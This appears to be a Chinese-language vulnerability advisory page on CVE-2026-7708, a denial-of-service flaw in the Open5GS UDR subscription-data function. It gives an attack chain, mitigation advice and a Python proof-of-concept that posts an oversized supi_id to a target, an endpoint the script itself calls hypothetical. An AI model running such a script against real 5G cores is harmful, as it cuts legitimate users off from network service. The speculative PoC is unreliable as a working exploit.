IPBUF安全漏洞报告
English
CVE-2026-7708 CVSS 4.3 中危

Open5GS UDR组件拒绝服务漏洞 (CVE-2026-7708)

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7708
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GS5G核心网CVE-2026-7708DoS

漏洞概述

Open5GS是一款开源的5G核心网实现。在2.7.7及以下版本中,UDR组件的`/lib/dbi/subscription.c`文件内的`ogs_dbi_subscription_data`函数存在漏洞。攻击者可以通过操纵`supi_id`参数触发该漏洞,导致拒绝服务。该漏洞可被远程利用,且目前已有公开的利用披露,但官方尚未发布修复补丁。

技术细节

该漏洞位于Open5GS的UDR(统一数据存储库)组件中,具体涉及处理订阅数据的数据库接口层。漏洞根源在于`lib/dbi/subscription.c`文件中的`ogs_dbi_subscription_data`函数未对传入的`supi_id`参数进行严格的边界检查或有效性验证。当攻击者向受影响的Open5GS实例发送特制的网络请求(包含恶意构造的`supi_id`参数)时,可能导致数据库查询异常或内存访问错误,进而使服务崩溃或挂起。由于攻击向量为网络(AV:N),且不需要用户交互(UI:N),一旦攻击者获得了低权限(PR:L)的访问能力,即可远程发起攻击,严重影响核心网的可用性。

攻击链分析

STEP 1
侦察
攻击者识别网络上运行Open5GS 2.7.7或更早版本的目标,特别是暴露UDR接口的系统。
STEP 2
漏洞利用
攻击者向目标UDR组件发送特制的网络数据包,其中包含恶意构造的`supi_id`参数。
STEP 3
触发崩溃
`ogs_dbi_subscription_data`函数处理该参数时发生错误,导致服务进程异常终止或停止响应。
STEP 4
拒绝服务
Open5GS核心网功能受损,合法用户无法获得正常的网络接入服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-7708 (Open5GS DoS) This script demonstrates how a manipulated supi_id might trigger the vulnerability. """ import requests import sys def exploit(target_host): # Hypothetical endpoint triggering the vulnerable function url = f"{target_host}/nudr-dr/v1/subscription-data" # The vulnerability is triggered by manipulating the 'supi_id' argument # Sending a malformed or oversized payload to ogs_dbi_subscription_data malicious_payload = { "supi": "imsi-999990000000001", "supi_id": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # Malformed input } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, json=malicious_payload, headers=headers, timeout=5) print(f"[+] Server responded with status: {response.status_code}") # If the service crashes, subsequent requests will fail except requests.exceptions.Timeout: print("[!] Request timed out - possible DoS condition triggered.") except requests.exceptions.ConnectionError: print("[!] Connection refused - service may have crashed.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) exploit(sys.argv[1])

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
在官方补丁发布前,建议管理员通过访问控制列表(ACL)限制UDR组件的访问来源,并密切监控Open5GS服务日志及系统资源状态。如检测到异常的请求模式,应立即阻断相关IP连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表